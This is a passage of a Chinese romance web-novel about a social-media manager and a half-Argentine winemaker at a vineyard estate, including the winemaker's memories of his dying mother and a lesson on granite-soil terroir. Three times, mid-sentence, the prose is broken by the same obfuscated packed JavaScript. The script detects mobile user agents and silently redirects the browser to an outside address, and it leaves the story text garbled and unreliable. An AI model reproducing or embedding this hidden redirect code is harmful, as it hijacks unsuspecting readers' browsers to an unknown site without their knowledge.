他感觉自己的脸上发热,胸中像是有一团火在燃烧,仿佛是在没有形体的敌人面前绝望挥动着一杆长矛。他想要打碎面前一切,想要将这份令人窒息的热诚,与这几乎就要将人溺毙于其中的痛苦与无聊都给砸得稀巴烂。 「这些东西——上学,作业,老师!还有你们的狗屁工作,老爸和公司的狗屁股价,这全部的一切!」 13岁的岳一宛在地下酒窖里嘶哑地大喊,恨不能当场剜出自己的心来,「到底都有什么意义?!」 「噢,Iván。」 她的声音里满是纯然的心碎。不是为她自己,而是为面前这个因早慧的锋锐而遍体鳞伤的孩子。 「学校里到底发生了什么?你愿意跟我讲讲吗?」 Ines温柔地捉住了他的手,如同一剂清凉的膏药,轻轻抚上少年人灼痛的心头。 7. “我们来玩个游戏” 「我们来玩个游戏。」 最后一次说这话的时候,Ines正躺在病床上。 自打被医生判定时日无多的那一天起,她就果断地放弃了治疗。 九个多月的时间,她不仅完成了自己的最后一个榨季,还帮助几个独立酿酒师改进了他们的车间设计,又去了两所农业大学里做了一系列关于葡萄酒酿造的讲座。 行至生命的最后,这副日渐衰弱的身体,终于不再能够支撑她漫步于那片投注了半生心血的葡萄园里。 Ines住进了医院。直到这一刻,她身边的所有人才真正地意识到,她快要死了。 「我们来玩个游戏。」 她对岳一宛说,「前两天,你舅舅从阿根廷带来了很不错的酒。我先来选几支,然后让你来猜猜看,哪一支是来自门多萨的酒?」 十六岁的岳一宛,长手长脚,身材削瘦得像是一根竹竿。 面对妈妈的提议,男孩只是沉默着点了点头,随即动作麻利地把床头果篮边的几支酒一一递到了她的面前。 他知道,Ines剩下的时间已经不多了,因为就连她的微笑,都已经虚弱得有似狂风中摇动的烛光。不要说是小小的一个游戏,哪怕她是要求他徒手将家中酒窖里的藏酒全部都搬进病房里,岳一宛也一定会毫不犹豫地照做。 自从Ines入院,岳一宛仿佛在一夜之间脱胎换骨。他再也没有拒绝过妈妈的任何要求,每天下课之后,他都准时出现在病床前,笨拙而又温驯地为她端牛奶、削水果。 Ines笑着调侃他,说他突然乖巧听话得不像是自己的儿子,倒好像是她从别的什么人家里偷来了一只小天使。岳一宛在妈妈面前佯似害羞地打着哈哈,却在走出病房后捂着脸无声流泪。 他真的害怕自己做得不好,害怕自己还不足够体贴细致。他害怕告别的词句一语成谶,害怕俏皮话中的机锋突然伤害到她。他害怕这最后的相处时光,害怕任何一种在母亲与自己之间留下永远遗憾的可能。 「你很棒,Iván。」 钦叹地,Ines看向自己的孩子,「在和你同样年纪的时候,我还只能喝得出新世界产区与旧世界产区的不同。而你,Iván,你的灵敏味觉简直是天赐的礼物……无论是作为酿酒师,还是酒评人,这都是世上最好的天赋。」 在母亲的夸奖面前,他只能勉强地扯出一个酸楚的微笑。岳一宛低下头去,突然看见Ines手里握着的那瓶红酒,那枚画着连绵山脉的酒标一角,印着的正是她婚前的姓氏。 去国离乡廿余载,她总对岳一宛说起门多萨的迷人风土,说起安第斯山脚下的葡萄园,可她自己却是再也没有回去过。 「Iván。」 她的手指干燥温暖,摩挲过他的头发,是一种令人心碎又留恋的触感。 「我……」 两双一模一样的绿眼睛,无言地注视着彼此。Ines犹豫了许久,想要说点什么,最后却只笑着摇了摇头。 「有你做我的孩子,我很幸福。」她说,「也许,我已经没有机会看到你长大成人的样子了。但是Iván,无论你以后选择成为什么样的人,选择从事什么样的行业……我都希望你能够幸福、快乐,好吗?」 「对我来说,这比什么都重要。」 无法向旁人叙述的一段段回忆,像是一只只低徊的蜻蜓。它们在岳一宛的心间略略点过,荡出一圈又一圈的复杂涟漪,又倏然扇翅飞走了。 敛起散乱的思绪,他重又收回视线,冲杭帆微微一笑,道:“她不仅是我的母亲,也是我最初的恩师。” “对我而言,‘盲品’是一个入门级的游戏。”斯芸的首席酿酒师说,“除了用感官去体会细微的风味差别外,还需要辅以准确的知识与缜密的逻辑判断。” 好像非常遗憾似的,岳一宛耸了耸肩,“我觉得这是一个学习葡萄酒的有趣切入点。但如果你实在不喜欢的话,我们也不是不可以换一种方法……” 原来他是混血儿,杭帆恍然大悟,难怪会有一双令人印象深刻的绿眼睛。 “我倒也不是讨厌这种学习方式。” 谨慎又诚实地,小杭总监回答道,“只不过,‘盲品’的过程中需要反复地饮酒,这是不是对酒量的要求有点太高了?” 难不成,晋升为首席酿酒师的秘诀,就是在未成年时代起就开始超量饮酒?杭帆在肚子里暗暗腹诽:这听起来就很不靠谱啊! “哦,这个啊,”岳一宛别开了目光,眼神可疑地闪烁起来:“其实就是,嗯,就是刚才说的,是我上课前忘记跟你讲了……” “在充分体会完酒液的味道之后,可以直接把它吐出来的。” “……这也是能忘记的?!” 看着对方那实打实的心虚神色,杭帆简直无力吐槽。 到头来,最不靠谱的竟是这厮本人! “是真的忘了,绝对不是我故意使坏。” 岳一宛信誓旦旦,恨不能举起手来对天起誓:“毕竟,我在酒庄工作这么多年,也确实是没料到斯芸还能有酒量和你一样浅的工作人员。” “可以原谅我吗?”他伸出手来,“让我们重头再开始一次?” 酿酒师的微笑里,有一些真诚得如钻石碎片般耀着光芒的东西。这令杭帆无法抗拒地握住了他的手,再次点头道。 “好吧,”他说,喉头有些紧:“以后,还请你多多指教。” 晚上九点多,杭帆终于得到了出院的许可。 走出大门的那会儿,他的右手还摁着止血用的医用棉球。岳一宛自告奋勇,要替他拎装药的袋子。 夜深人静的医院停车场,纸盒子装的胃药在塑料袋里彼此摩擦,发出窸窸窣窣的响动。 ……就像是一群鬼鬼祟祟的大蟑螂,爬进厨余垃圾桶时会发出的那种的声音。 杭帆冷不丁这样想着,抬头瞥了眼走在前面的岳一宛,心头一乐,突然吭哧一声笑了出来。 听到身后动静,正在手里把玩着车钥匙的岳一宛也过头来,笑问道:“怎么了,想到什么开心事,笑这么嚣张?” 不问还好,他这一开口,杭帆也不知自己到底被戳中了哪处笑穴,彻底一发不可收拾地狂笑起来:“哈哈哈哈哈哈哈哈!” “噗!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438193|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是觉得,咳!嗯。” 他徒劳地清着喉咙,一边用那只还贴着胶布的手比划,一边试图从笑声里挤出完整的句子:“现在这个画面——实在是有些滑稽。” 昏黄路灯下,岳一宛歪了歪头,似乎是在等杭帆把这话说完。 对于一个成年人而言,这个表情不免显得有些稚气,又有点太过于可爱了。 可蓦然之间,杭帆感觉自己到胸腔内的某处轻轻抽动了一下。 他的笑声戛然而止,舌头也突然变得笨拙,就好像每一个字词都变成了方方正正的糖块,生硬地卡在他的唇齿之间。 “就是觉得有点荒诞,”杭帆说,同时无不惶惑地意识到,自己的声调里正洋溢着多么明显的喜爱之情:“就是……你这一身衣服,看起来像是位滴滴专车司机。” 听了这话,岳一宛不由好笑地乜他一眼。这人旋即装腔作势地清了清嗓子,邀舞般彬彬有礼地伸出胳膊来,抑扬顿挫道:“既然今遭免不了要做这趟车夫,那杭总监可否赏脸,暂且充当一下今晚的灰姑娘呢?” 搓了搓胳膊上的鸡皮疙瘩,杭帆嫌嫌弃弃地把手指虚搭在了岳一宛的胳膊上:“就想提醒你一句,岳大师。”他阴气森森地低语道,“在灰姑娘的故事里,南瓜马车的车夫可是老鼠变的。” “杭总监,你这人怎么恩将仇报啊?”这位临时车夫一边叽叽咕咕地笑,一边连连倒抽冷气,“恶,我最讨厌老鼠!” 停车场的僻静角落里,岳一宛摁下了车钥匙上的开锁摁钮。 “请吧,总监殿下。”操弄着那副善意与俏皮兼而有之的挖苦腔调,他说:“唉,瞧瞧!为了不做老鼠车夫,我不得不把你从灰姑娘抬咖成一位公主。” 杭帆没空去为自己的新头衔抗议。 因为他略感惊悚地发现,岳一宛此人,开的竟是一台长城牌越野皮卡车。 “我以为像你这种个性……” 欲言又止了好一阵,坐上了副驾座的小杭总监终于开口。 只是话还没说完,就被驾驶座的那人给打断了:“哪种个性?” “骚包。” 杭帆强忍着笑,“哦,或者叫,‘酷炫狂狷’?反正,你给我的感觉就是那种,哪怕不开迈凯伦,高低也得开一辆大红色敞篷法拉利的人。” “你这是对我有偏见。”岳一宛正色,“咱们酒庄可是在山里。我在山里一天天地开轿跑给谁看?再说了,葡萄这种东西,又不会因为我开法拉利就对我献媚。” 他一边系上安全带,一边语重心长地拍了拍杭帆的肩:“而且,山里嘛,皮卡车也方便运送大件东西。你看,今天这不就用到了?” 病号凉飕飕地冲他飞去一记眼刀,“你说谁是东西呢?” “嗯?”无辜地眨了眨眼,某位一夜限定的南瓜车车夫反问说:“难道你不是个东西?” “拜托!这都已经是上个世纪的互联网烂梗了,你怎么还在用?”杭帆内心有些淡淡的崩溃,“您今年贵庚啊?” 岳一宛哈哈大笑。 “坐稳了,公主殿下!”说着,他脚下油门一踩,风驰电掣地冲上了公路。 8. 来自贫瘠土地 暖气将被窝烤得温热。 杭帆蜷身在这软绒绒热绵绵的床榻中,直睡得昏天黑地、骨酥腰软,浑已不知今夕何夕。 如果这份甜蜜的安然能一直延续下去,想来应当会是个分外惬意的早上吧。 “咚咚咚!” 不请自来的客人快乐地敲打起宿舍的木门。 “咚咚咚!咚咚咚!” 这人拍打门板的节奏极为轻快,活像是个在人家坟头上打鼓的讨厌鬼。 “杭帆,醒了吗?” 岳一宛这歹人,气沉丹田,声若洪钟,好一副要把棺材里死人都叫醒的架势。 “咚咚咚!快八点了!咚咚咚!你也该起床了吧?” 在“敌动我不动”的战略方针指导下,小杭同志意志坚定地在床上翻了个面,缓缓把被子拉过头顶,又把脑袋深深地埋进了枕头战壕中。 甭管岳大师又是在发什么癫,打定主意要睡到自然醒的杭帆,都只祈祷这人能在抽完风后自己走开。 可惜,人算不如天算。岳一宛之于杭帆,那简直就是一种自然灾害。 “杭帆,咚咚咚!还活着吗?咚咚咚!醒一醒!咚咚咚!就等你呢!咚咚咚!” 自然灾害这种东西,是绝不会因为你闭上眼睛又捂起耳朵,就知情识趣地走往别处的。 躲在名为“床铺”的阵地里挺尸了足足五分钟之后,杭帆不胜其扰,总算是气势汹汹地跳下了床来。 “你大爷的发神经啊!” 怒气冲天之下,他砰得一声推开宿舍门,恶狠狠瞪向那个扰人清梦的噪音喇叭:“大清早的,在这里鬼吼鬼叫个什么?清明节都还没到,这是招的哪门子魂!” 岳一宛敏捷地躲开了来自门板的物理攻击。 对于杭总监的起床气,他不仅丝毫不以为忤,还笑眯眯地撑着门框道:“我喊你半天都没有动静,还以为你又低血糖昏过去了呢。” 呵呵假笑两声,杭帆没好气地问他:“有何贵干?” “来给你上课啊,”斯芸的首席酿酒师,语调真诚得都快要析出糖晶来:“咱们昨天不是约好了吗?” 杭帆摸出手机看了一眼,简直难以置信:“现在才七点五十!” 他都怀疑这厮根本是在故意整蛊他:“我上学那会儿,连高中生都没有这么早就开始上课的!” “哦,是吗?”岳一宛可不在乎,只一个劲儿地催促他:“快快快,换身衣服,我们马上出发!” 好在某位酿酒师的良心似乎还未彻底烂透。 等杭帆拾掇好了自己并再次推开宿舍门之后,岳一宛拉起他的胳膊就往酒庄外走。一边走,还一边又往他手里塞了个尚且热乎着的三明治。 裹在一层半透明油纸里的,是夹着浓郁芝士的喧软面包片。新鲜生菜的叶子紧挨着酸甜可口的西红柿切片,而煎成半溏心状态的鸡蛋,娇滴滴地躺在最中间的夹层里。 “这是你自己做的?” 杭帆几口咬下去,眼睛一亮,腮帮子都鼓成了花栗鼠的颊囊:“嚯,手艺不错啊!比那些网红早餐店可好得多了!” “呵!就凭那些网红早餐店,哪家能够请得动我?” 田间小路开阔曲折,岳一宛走在前面领路,嘴里还在洋洋自得:“能吃上我亲手做的饭,这可不是谁都能有的待遇。杭总监,你要惜福啊!” 福气颇大的杭总监,面无表情地把手里的油纸揉成一团,精准砸中了酿酒师的后脑勺。 春风还未完全将这片土地唤醒。 敞亮日光下,广阔无垠的丘陵,如长轴画卷般自在疏阔地于天地间展开。 低矮的山丘起伏和缓。在目力能及的尽头,有一些稀稀疏疏的灰黄色落叶乔木顽强地屹立在未经开垦的山坡上,仿似一群饱经风霜的老人。 视线的近处,则是一阶阶高低错落的梯田。它们依山而辟,绵延不绝,是人类以智慧与劳动征服自然的最佳明证。 眼下,正是新叶还未来得及被熏风吹发的时辰。 一排排的葡萄藤,像一支支列队整齐的小小士兵,在木桩与铁丝的引导下,整整齐齐地站在田地里。春风料峭,藤条们举起了光秃秃又皱巴巴的枝丫,对着天空无声地呼号。 “我们这是要去哪里?” 爬上第二个山头之后,杭帆终于忍不住发问。 今天的岳一宛,也照旧是他惯常的那套打扮:衬衫外面穿着单排扣的西装马甲,脚下踩着一双厚底高帮的皮靴,一副随时都能从怀里摸出百夫长黑卡的派头。 可在那一条条碎石嶙峋、迂回曲折的田间小道上行走时,他的脚步却又轻捷无比,就好像他是在这片丘陵里出生长大、自幼就生活在这座葡萄田里似的。 杭帆单手举着运动相机,时不时都要小跑几步,才能勉强跟上酿酒师的前行速度。 他自认体力并不算差,但有了岳一宛做对比,他就像是刚学会走路的小娃娃那样,在碎石密布的田间走得跌跌撞撞。 面对杭帆的问话,岳一宛但笑不语。 “……你不会是想找个没人能看见的地方,好把我就地埋进田里,给你心爱的葡萄们做肥料吧?” 一连翻过几座山坡,小杭总监累得直喘气。 双腿的酸痛让大脑放松了对嘴巴的掌控,不知不自间,他已经随心所欲地胡言乱语起来:“虽然但是,岳大师,呼……我就想提醒你一句,斯芸酒庄不是法外之地!只要杀人抛尸,就一定会被绳之以法!” 走在前面的岳一宛,突然毫无预兆地停住了脚步。一个没留意,杭帆就这样直直地撞上了酿酒师的后背。 “我们到了。” 岳一宛笑吟吟地环抱起了胳膊:“顺带一提,这是我总结出的酒庄生存指南第一条:时刻注意脚下的路。” 捂着痛得一抽一抽的鼻子,小杭总监在心里爆出一句国骂。 这是故意的!他恨恨磨牙,这B人绝对是故意的! 他们所站的地方是一片新翻整过的梯田。 杭帆注意到,附近的这几条田垄,虽然也与其他葡萄田一样竖有几排低矮木桩,却没有种下哪怕是一棵葡萄藤。 “我之前说过,要从头开始教你有关葡萄酒的知识。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438194|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳一宛伸出臂膀,指向他们脚下的大地:“所以我们今天就从这最基础的开始,关于葡萄酒的‘风土’。” 在这块空荡荡的土地上,二人的眼前既没有葡萄,也没有葡萄酒。 只有猎猎的山风,呼啸着掠过灰扑扑的土地。 “‘风土’。” 杭帆喃喃自语地重复着这个词:“这概念听起来很抽象,可不像是‘最基础’的知识。” 岳一宛用鞋尖碾了碾脚下的砂土,“你刚才说,我要把你埋进田里当肥料——这句话显然是不对的。” 促狭地挤了挤眼睛,斯芸的首席酿酒师又道:“让我问你:你觉得我们刚才看到的那些葡萄园,土地肥沃吗?” 杭帆不解其意。 他正用运动相机拍摄一些视频素材,同时还要小心地避免把岳一宛的身影也纳入镜头画面里:“应该……不算吧?与南方的稻田相比,这里的土地还挺贫瘠的。” “没错。”岳一宛满意颔首,“酿酒用的葡萄,从不种植在真正肥沃的土地上。” “为什么?” “肥沃的土地会给葡萄藤提供过多的营养,使它们结出果实过于膨大多汁。如此一来,葡萄中的风味物质就不够浓缩,从而稀释了酒液的风味。”岳一宛说。 “不过,也有一种更通俗的说法。”他又道,“过去的酒农们相信,只有种植在贫瘠地带的葡萄藤,才能把根系深深钻入地表深处。唯有这样,结出来的葡萄才是精华中的精华。” “……我好像在哪里听过类似的职场鸡汤。就那种,说什么贫穷与困境都不过只是暂时的历练,年轻人不能只着眼于短期的利益……” 不无沉痛地,杭帆小声嘀咕起来:“但想想葡萄,我就觉得这话全都是放屁。” “结出了最好的果实,结果却是被人类摘去酿酒,连一粒种子都没给自己留下,这简直就是彻头彻尾的压榨!” 身为一头资深社畜,小杭总监不可自拔地与葡萄们深深共情了:“这要换我做葡萄藤,还不如从一开始就躺平摆烂呢。” “如果你真的能早点想开这点,恐怕也就不会被发配到山里来。” 岳一宛真是哪壶不开偏提哪壶的专业户。 “而且,随地大小躺的葡萄藤可活不到第二个春天。” 这人伸出手掌,要笑不笑地脖子上划了一记,嘴里悠悠地又补上了一刀:“咱们脚下这块田,去年种了的几千株葡萄藤。因为品质不好,所以秋天一过就全都给拔了。” 说者无心,听者有意。 想到这话里可能潜藏着的某种暗喻,杭帆就莫名地喉头发哽。 有一瞬间,他想到Harris,想到那个人说“别想着贪图安逸”时那令人恶心的、高高在上的表情。 他想到自己生物学意义上的父亲,想到那个人在电话里对杭艳玲大喊说“抚养费?你要学会自食其力!”的不耐烦语气。 “可是,人并不是葡萄。” 他的声音紧绷,好似无形中拉满的弓弦。 “葡萄藤可以被随意地遗弃,但人不应该被那样对待。” 9. 风土与酿酒师 岳一宛没有立刻做答。 好半天之后,风才将酿酒师的声音吹进杭帆的耳朵里。 “你说得对。人不是葡萄藤。人是一种有尊严的生物,不应该被践踏与遗弃。” 说这话的时候,他的目光在面前的这片光秃秃的葡萄田里沉浮。 “说回‘风土’这个概念。”酿酒师把话题拉回了原地:“近二十年前,罗彻斯特酒业正式进军大陆,斯芸是他们在中国建立的第一间葡萄酒酒庄。” 当时,有二十多名来自世界各地的酿酒师与种植专家帮忙参与了选址,岳一宛的母亲Ines就是其中之一。 “蓬莱地区依山傍水,局部气候较为温暖,从三百年前开始就有了种植葡萄的传统。而斯芸酒庄之所以最后定址在这片山头上,就是因为看中了这一带的花岗岩土壤。” 俯身从地上捡起一块石头,岳一宛用力吹了几下,附着其上的灰尘便扑簌簌地掉落下来。 “花岗岩坚硬,所以它的土壤非常贫瘠。生活在这样的土地上,葡萄藤不得不长出健壮的根系,拼尽全力地向地表的更深处索取营养,从而结出风味饱满又浓缩的果实。” “但这样的环境也有它得天独厚的益处。”岳一宛说。 “地处沿海区域,蓬莱的降水量较为丰沛,排水性能良好的花岗岩土壤,能确保葡萄藤的根系喝饱雨水,但又不至于被沉积在土地中的过量水份给浸泡到腐烂。花岗岩石块反射出去的一部分阳光,还可以生长中的葡萄得到更多的日光照射。” 他抓起杭帆的左手,不由分说地把石头塞进对方的掌心里。 “更重要的是,花岗岩土壤的储热能力,不会让过冬的葡萄藤冻死。” 岳一宛收拢五指,将杭帆的手与小石块一起包覆在掌中:“今天风很大,但你摸摸看这个,是不是比想象中还要温暖一点?” 同等温度下,花岗岩土壤中的碎石是否会比其他种类的石头要暖,杭帆实在不得而知。 但岳一宛的手确实是温热的。 酿酒师的手心宽阔,骨节分明,指腹与掌根处有一层薄而硬的茧。说话的时候,这人五指略一动作,薄茧轻轻搔过杭帆的手背,便有羽毛轻撩的酥麻,顺着胳膊窜进脊椎骨里。 杭帆攥紧手中的石块,不动声色地把手抽出来。 “充足的阳光,适量的水份,冬天时的地表温度。”小杭总监简概地归纳出了三个要点:“因为花岗岩土壤具有这样的特性,所以才让葡萄藤能够良好地生长,对吗?” “这么说来,葡萄酒中的所谓‘风土’二字,其实指代的是种植酿酒葡萄时的自然气候与土壤条件,对吧?” 在岳一宛赞许的目光里,杭帆的脑筋转得飞快:“那么,葡萄酒广告中所谓的‘风土特色’,实际上就是在说,不同类型的气候与土壤,会给葡萄与葡萄酒带来的不同味道?” “可既然花岗岩土壤最适合于种植酿酒葡萄,那全世界的酒庄也都应该选址在类似的地方。”他问,“既然土壤条件一样,那所谓的‘风土特色’,不就根本不存在了吗?” 举一反三,不点自通,杭帆无疑是个聪明人。 和聪明人打交道会很愉快,也能省去很多不必要的口舌,这让岳一宛笑意更甚。 “说得不错,”酿酒师道,“但并不全对。” 无论包装得再怎么高端大气上档次,归根结底,葡萄酒也仍然是一种由农业生产带来的副产品。 在过去的万余年历史中,“农业”这个概念被人类日渐完善,却没有任何一个文明,将“酿酒”的重要性位列于“耕种”之前——上古时代的华夏人民,只会把丰年余下的那部分黍谷用来酿造醴酒;而在号称“连吹过的风都是紫红色”的法国,那些最古老也最优秀的酒庄,也无不是从一块块荒芜而破碎的土地中站起来的。 最肥沃的土地会被用来种植稻谷与小麦。然后,围绕着耕地,聚落形成部族,部族又建造城市。 文明的进步,推动着人类对土地用途的拓展。在草原上,我们牧养牲畜,在海岸边,我们建立港口。 削山为石,煮海为盐,人类的历史,就是不断与自然相斗争的历史。 “在更久远一些的农耕时代,欧洲那些率先尝试着大规模种植酿酒葡萄的农民,可没有谁是因为对葡萄酒爱到发狂,才跑去种植这玩意儿的。” 抱起了胳膊,岳一宛侧脸看向旁边的那位社畜,啧啧作声:“就像杭总监你,也不是因为喜欢上班,才来罗彻斯特工作的吧?” 冷哼一声,杭帆心想,我上班是为了拿工资和还房贷,而你至今还没被人套上麻袋暴打一顿的唯一原因,可能只是因为过失杀人也会被判刑。 “请说重点。”小杭总监干巴巴地提醒这人。 岳一宛从善如流:“无论是因为天灾,又或是战乱,反正,当那些背井离乡的农夫们终于找到一处不会再被人驱赶的新家园时,他们很快就发现,这里根本无法种植小麦之类的作物。” “他们最后选择了种植葡萄并用来它们酿酒来卖,很可能只是因为,以当时的农业技术水平,其他种类的经济作物根本就存活不下来。不是他们主动选择了葡萄,是艰难的自然环境逼迫农夫们在最差的几种选项里,努力地去耕耘了最好的这一种可能。在这之后,为了能长期而稳定把葡萄换成粮食与金钱,他们的后代才逐渐开始建立起了酒庄。” “简而言之,诞生于现代的这些酒庄们,虽然是先决定了要酿酒与种葡萄,然后才去选址——但大家面对的实际困境,其实也和几百上千年前的那些农夫差不太多。” 从山巅俯瞰下去,这些平和起伏的低矮山岭,像是壮年男子侧身横躺下的健硕躯体。一阶阶的梯田,好似赤裸脊背上的一节节骨骼,任由血管般的溪水与河流途径那里,再与坚实的大地紧紧相连。 岳一宛的讲课风格完全就是兴之所至,也亏得杭帆能在这些散漫跳脱的叙述中抓住那最关键的一线。 “你的意思是说,葡萄酒的‘风土’,并不是人们凭主观喜好就能自由选择东西,是吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438195|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没错!” 大力拍打着小杭总监的肩膀,岳一宛满脸都是孺子可教的欣慰神色。 “其实吧,适合种植酿酒葡萄的土壤类型可多了。黏土啦,砂土啦,淤泥土啦,还有石灰岩土壤,都能吃尽苦头的葡萄藤结出好果子。” 他一边说,一边拽着杭帆的胳膊往山下走,连语气都温和得像是换了个人似的,把杭帆脊背发毛:“看你的表情,你应该是想问,‘不同的土壤是不是会有不同特性’?嗯,猜得没错,杭帆同学加一百分!” “就比如说石灰岩土壤吧。这名字听起来和花岗岩土壤很像,但前者的排水性较差,建立在石灰岩土壤上的葡萄园,一般都需要人工介入以改善排水性能。” “但石灰岩中所富含的钙质与碳酸盐,能够有效地提高葡萄产量,甚至于能够完善葡萄品质,是绝佳的天然肥料。更重要的是,它还能给葡萄酒带来一种优雅且凝练的矿物质香气。” 矿物质香气?矿物……是有气味的吗? 这个描述让杭帆的心头闪过了些许疑惑。但正在滔滔不绝着的那位,一时半会儿还没有要停下来接受提问的意思。 “正是这些不同特性的土壤,为葡萄与葡萄酒带来了不同的风味,当然,气候也是其中的决定性因素之一。可是,在为酒庄和葡萄园挑选地块的时候,却不是像在农贸市场里买大白菜那样,能有几百个上千个选项一字排开任君拣择。” 他说:“人类社会的都市化进程十分迅速,即便地广物博如我们脚下的这片伟大土地,认真检视起来的话,能留给酿酒葡萄种植用的地块,也实在是不多了。酒庄的选址,不仅气候与土壤都要适宜葡萄的生长,还不能与城镇、耕田、工厂、公路、军事等规划用地相冲突。落在现实层面上,又有与执行和政策相关的许许多多问题。” “说到底,‘风土’这种东西,绝大部分情况下都由不得我们自己去选择。毕竟,搞农业嘛,你总不可能对着大地挑三拣四,说,‘我不要花岗岩土壤,现在速速就我给变成石灰岩土壤’吧!” 岳一宛其人,平日里总以阴阳怪气为乐。开口说出的五句话里,少说也得有三句是在故意惹人生气。 可一旦起与酿酒和葡萄相关的事情,这位首席酿酒师就连声调都放得和蔼许多。说到激动处,更是目光灼灼,顾盼神飞,恨不得整个人都跳进土里,把自己也变成一株三十年树龄的葡萄藤。 “我一直以为,从来都不是酒庄与它的酿酒师选中了某个地块,而是那个地块自己,在冥冥之中呼唤了属于它的那座酒庄的到来。” 说这句话的时候,他的口吻极其认真,语调里有着近乎于信仰般的虔诚。 “酿酒师与风土的关系,就是像是人与命运。”岳一宛说。 如果命运给了你一串甜甜的葡萄,你大可以幸福地把它们一口吞掉。 “假如命运给了我无法下咽的酸葡萄,我就会把它们酿成一杯明亮轻盈的酒。” “这,就是酿酒师对他所身处的那片‘风土’的诠释。” 10. 前一位爱慕者 勤学好问的小杭总监,一边在脑子里做笔记,一边审慎地提出自己的疑问道:“那‘风土’的区别,具体会给葡萄酒带来什么样的不同风味呢?” “这我很难三言两语就跟你解释清楚,”岳一宛说,“当然,这不是因为我教学水平不行,是你现在还太菜了。” 杭帆深吸一口气。 杭帆呼出一口气。 杭帆甩了甩胳膊,把十个指节捏得嘎吱作响。 然后他默默地手持式运动相机换进了另一只手。 “哦。” 好人不与狗斗,小杭总监一脸冷漠。 上山难行,下坡路陡。 杭帆一边稳着脚下的步子,一边把手里捏着的石子亮给岳一宛看:“你的教具,”他说,“你还要用吗?不要我就丢了。” “什么?你不需要带回去珍藏起来吗?” 别人嘴里跑的是火车,岳一宛嘴里跑的是高铁:“这可是身为我亲传弟子的证明啊!要是换了别人,就是给我磕长头也我不一定愿意教——诶哟!” 这厮嘴上叫的响亮,实则伸手就截住了那块杭帆扔过来的小石头。 “我刚才就想问了,你干嘛举着相机?”抛接着手里的石块,斯芸的首席酿酒师漫不经心地向杭帆发问:“是在录Vlog?是要发个人账号的吗?你有很多粉丝?” 这人到底在说什么鬼话?杭帆的拳头都硬了。 “哈?我当然是在给酒庄的社交媒体账号录素材啊?!” 社畜小杭,嘶嘶地从牙缝里挤出了这几个字:“以防您老贵人多忘事——现在可是上班时间!” “呃……”这下,岳一宛确实露出了几分真心实意的惊讶:“所以你们这行,也是按朝九晚五来计算上下班的?” 他若有所思地摸了摸下巴,“我还以为,你的上班时间都是从下午开始计算的呢……毕竟,叫你起床可比诺曼底抢滩登陆要艰难多了。” “不好意思,”杭帆关闭了运动相机,语气凉凉:“会有这样的误解,大概是你孤陋寡闻的缘故。我们这一行,二十四小时都可以打卡上班。” “打卡之后,在岗不足八小时的算旷工,超过八小时的算自愿加班。” 牛马做久了,他连自嘲的口吻都变得风浪不惊。只要再多历练上两年,怕不是就能眼都不眨地去和傻逼老板们拼刺刀了。 岳一宛自己算是衔着金汤勺出生的。而斯芸酒庄的行政工作也很清闲,从人事到前台,从没有什么“昼夜颠倒连轴转”的说法。 他沉默了好一会儿,依旧无言以对,只能伸手拍了拍面前这只苦大仇深的社畜。 “往好里想,劳动,是光荣的行为!” 酿酒师语含悲悯,“要不然,我去跟全球总部提一嘴,让上面给你加加薪……?” 岳一宛与Harris之间不存在直接的上下级关系,他口中的所谓“上面”,毫无疑问是指罗彻斯特集团的全球总部——且不说岳大师为何突然善心大发,要替他这萍水之交的小虾米讨要加薪——这一开口,无异是升斗小民跑去紫禁城门口鸣冤击鼓,越级进京告御状呀! “不不不不不,别别别别别!” 杭帆吓了一跳,迭声阻止:“岳大师,您的好意我心领了,心领了。虽然公司没有发加班费,但年终奖给够就行……” 职场沉浮几多年,无论是国企还是外企,小杭总监还从未听说过越级告状之后能有好下场的。 深知岳一宛不是那种会善罢甘休的类型,他赶紧又趁乱岔开话题道:“说起来,斯芸酒庄的社交媒体账号,现在是在谁的手上?这几天一直都没有人来和我交接工作。” 对于葡萄酒之外的话题,岳一宛明显兴致不高,连声调都懒洋洋地塌了下去。 “账号?大概是在人事那边保管吧。” 时近中午,太阳攀上了穹顶的正中。在酿酒师也把袖口挽得更高的同时,杭帆也把脱下的风衣外套系在了腰间。 “斯芸的那几个账号,都是酒庄人事部门开的吗?”杭帆职业性地感到了头痛,“我看到账户的内容页面全都是一片空白。只建立了账号,但什么内容都没有发布过啊……” 近些年来,大多数社交媒体平台,都暗暗地给他们的新用户一些流量上扶持。对杭帆他们而言,这也是一个能在短时间内让品牌被更多人看见的好几回。 所以,开设了账号却不使用,在杭帆看来,这罪大恶极的程度可与浪费粮食同属一个级别。 